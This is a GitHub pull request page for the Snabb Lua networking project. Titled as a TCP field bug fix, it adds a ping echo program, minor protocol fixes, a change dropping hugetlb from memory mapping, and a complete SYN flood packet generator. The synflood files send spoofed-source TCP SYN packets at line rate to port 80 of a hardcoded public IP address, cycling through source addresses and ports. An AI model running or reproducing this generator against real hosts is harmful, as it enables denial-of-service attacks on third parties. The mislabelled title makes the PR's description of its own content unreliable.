Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix a bug in tcp fields #1327

Closed
wants to merge 5 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions src/core/memory.lua
Original file line number Diff line number Diff line change
Expand Up @@ -146,12 +146,12 @@ function allocate_huge_page (size, persistent)
local fd = syscall.open(tmpfile, "creat, rdwr", "RWXU")
assert(fd, "create hugetlb")
assert(syscall.ftruncate(fd, size), "ftruncate")
local tmpptr = syscall.mmap(nil, size, "read, write", "shared, hugetlb", fd, 0)
local tmpptr = syscall.mmap(nil, size, "read, write", "shared", fd, 0)
assert(tmpptr, "mmap hugetlb")
assert(syscall.mlock(tmpptr, size))
local phys = resolve_physical(tmpptr)
local virt = bit.bor(phys, tag)
local ptr = syscall.mmap(virt, size, "read, write", "shared, hugetlb, fixed", fd, 0)
local ptr = syscall.mmap(virt, size, "read, write", "shared, fixed", fd, 0)
local filename = ("/var/run/snabb/hugetlbfs/%012x.dma"):format(tonumber(phys))
if persistent then
assert(syscall.rename(tmpfile, filename))
Expand Down
1 change: 1 addition & 0 deletions src/lib/protocol/ipv4.lua
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,7 @@ ipv4._ulp = {
[17] = "lib.protocol.udp",
[47] = "lib.protocol.gre",
[58] = "lib.protocol.icmp.header",
[1] = "lib.protocol.icmp.header",
},
method = 'protocol' }
ipv4:init(
Expand Down
4 changes: 2 additions & 2 deletions src/lib/protocol/tcp.lua
Original file line number Diff line number Diff line change
Expand Up @@ -36,8 +36,8 @@ function tcp:new (config)
local o = tcp:superClass().new(self)
o:src_port(config.src_port)
o:dst_port(config.dst_port)
o:seq_num(config.seq)
o:ack_num(config.ack)
o:seq_num(config.seq_num)
o:ack_num(config.ack_num)
o:window_size(config.window_size)
o:header().pad = 0
o:offset(config.offset or 0)
Expand Down
24 changes: 24 additions & 0 deletions src/program/ping/ping.lua
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
-- Use of this source code is governed by the Apache 2.0 license; see COPYING.

module(..., package.seeall)

local socket = require("apps.socket.raw")
local pingecho = require("program.ping.pingecho")

function run (parameters)
if not (#parameters == 1) then
print("Usage: ping <if>")
main.exit(1)
end
local interface = parameters[1]

local c = config.new()
config.app(c, "raw", socket.RawSocket, interface)
config.app(c, "pingecho", pingecho.PingEcho)

config.link(c, "raw.tx -> pingecho.input")
config.link(c, "pingecho.output -> raw.rx")

engine.configure(c)
engine.main({duration=2, report = {showlinks=true}})
end
49 changes: 49 additions & 0 deletions src/program/ping/pingecho.lua
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
-- Use of this source code is governed by the Apache 2.0 license; see COPYING.

module(..., package.seeall)
local ipv4 = require("lib.protocol.ipv4")
local ethernet = require("lib.protocol.ethernet")
local icmp = require("lib.protocol.icmp.header")
local dgram = require("lib.protocol.datagram")

PingEcho = {}

function PingEcho:new ()
return setmetatable({}, {__index = PingEcho})
end

function PingEcho:pingecho (p, output)
local d = dgram:new(p, ethernet)

local eth = d:parse_match()
local ip = d:parse_match()
if ip == nil then
packet.free(p)
return nil
end

local l4 = d:parse_match()
if l4 == nil then
packet.free(p)
return nil
end

if l4:class() == icmp then
return p
end

packet.free(p)
end

function PingEcho:push ()
local input = assert(self.input.input, "input port not found")
local output = assert(self.output.output, "output port not found")
for i = 1, link.nreadable(input) do
local p = link.receive(input)
local outpkt = self:pingecho(p)
if outpkt ~= nil then
link.transmit(output, outpkt)
end
end
end

187 changes: 187 additions & 0 deletions src/program/synflood/syn_flood.lua
Original file line number Diff line number Diff line change
@@ -0,0 +1,187 @@
-- Use of this source code is governed by the Apache 2.0 license; see COPYING.

module(...,package.seeall)

local ffi = require("ffi")
local ethernet = require("lib.protocol.ethernet")
local tcp = require("lib.protocol.tcp")
local ip = require("lib.protocol.ipv4")
local C = ffi.C
local datagram = require("lib.protocol.datagram")
local transmit, receive = link.transmit, link.receive
local lib = require("core.lib")
local htons, ntohs, htonl, ntohl =
lib.htons, lib.ntohs, lib.htonl, lib.ntohl

ip_mod = {}

function ip_mod:new(ip_conf)
ip_conf.curr = ip_conf.start
return setmetatable(ip_conf, {__index = ip_mod})
end


function split(s, p)
local rt= {}
string.gsub(s, '[^'..p..']+', function(w) table.insert(rt, w) end )
return rt
end


function ip_mod:inc()
local ret = 0
if self.curr == self.stop then
self.curr = self.start
ret = 1
return ret
end

local v = split(self.curr, '.')
local i = 4
while i > 0 do
local tail = tonumber(v[i])
if tail +1 == 255 and i == 4 then
v[i] = tostring(1)
elseif tail +1 > 255 and i ~= 4 then
v[i] = tostring(0)
else
v[i] = tostring(tail +1)
break
end
i = i - 1
end
self.curr = table.concat(v, '.')
return ret
end

port_mod = {}

function port_mod:new(port)
port.curr = port.start
return setmetatable(port, {__index = port_mod})
end


function port_mod:inc()
self.curr = self.curr + 1
local ret = 0
if self.curr >= self.stop then
self.curr = self.start
ret = 1
end
return ret
end

f_moder = {}

function f_moder:new(conf)
conf[1] = conf.ip_src
conf[2] = conf.ip_dst
conf[3] = conf.sport
conf[4] = conf.dport
return setmetatable(conf, {__index = f_moder})
end

function f_moder:inc()
local next_to_inc = 1
local ret = 0
repeat
ret = self[next_to_inc]:inc()
if ret == 1 then
next_to_inc = next_to_inc + 1
end
if next_to_inc > 4 then
next_to_inc = 1
end
until ret == 0
end


Synfld = {}

local eth_src_addr = ethernet:pton("6c:92:bf:04:ee:92")
local eth_dst_addr = ethernet:pton("3c:8c:40:b0:27:a2")

config = {
size = 64,
eth_src = eth_src_addr,
eth_dst = eth_dst_addr,
mod_fields = f_moder:new({
ip_src = ip_mod:new({
start = '117.161.3.75',
stop = '117.161.3.78',
}),

ip_dst = ip_mod:new({
start = '117.161.3.65',
stop = '117.161.3.65',
}),

sport = port_mod:new({
start = 1,
stop = 65534,
}),

dport = port_mod:new({
start = 80,
stop = 80,
}),

}),
}


function Synfld:new (conf)
local payload_size = conf.size - ethernet:sizeof() - ip:sizeof() - tcp:sizeof()
assert(payload_size >= 0 and payload_size <= 1536,
"Invalid payload size: "..payload_size)
return setmetatable({conf=conf, done = false}, {__index=Synfld})
end

function Synfld:pull ()
local n = 0
while n < engine.pull_npackets do
local payload_size = self.conf.size - ethernet:sizeof() - ip:sizeof() - tcp:sizeof()
local data = ffi.new("char[?]", payload_size)
local dgram = datagram:new(packet.from_pointer(data, payload_size))
local ether_hdr = ethernet:new({src = self.conf.eth_src,
dst = self.conf.eth_dst,
type = 0x0800 })
local ip_hdr = ip:new({src = ip:pton(self.conf.mod_fields.ip_src.curr),
dst = ip:pton(self.conf.mod_fields.ip_dst.curr),
ttl = 64,
id = math.random(10000),
protocol = 0x6})

local tcp_hdr = tcp:new({src_port = self.conf.mod_fields.sport.curr,
dst_port = self.conf.mod_fields.dport.curr,
syn = 1,
seq_num = math.random(100000),
ack_num = math.random(100000),
window_size = 512,
offset = tcp:sizeof() /4,
})

ip_hdr:total_length(ip_hdr:total_length() + tcp_hdr:sizeof() + payload_size)
ip_hdr:checksum()
tcp_hdr:checksum(data, payload_size, ip_hdr)


dgram:push(tcp_hdr)
dgram:push(ip_hdr)
dgram:push(ether_hdr)

transmit(self.output.output, dgram:packet())

self.conf.mod_fields:inc()
n = n + 1
end
end

function Synfld:stop ()

end

function selftest ()

end
26 changes: 26 additions & 0 deletions src/program/synflood/synflood.lua
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
-- Use of this source code is governed by the Apache 2.0 license; see COPYING.

module(..., package.seeall)


local synfld = require("program.synflood.syn_flood")

local raw = require("apps.socket.raw")


function run (parameters)
if not (#parameters == 1) then
print("Usage: synflood <interface>")
main.exit(1)
end
local interface = parameters[1]

local c = config.new()
config.app(c, "synfld", synfld.Synfld, synfld.config)
config.app(c, "playback", raw.RawSocket, interface)

config.link(c, "synfld.output -> playback.rx")

engine.configure(c)
engine.main({report = {showlinks=true}})
end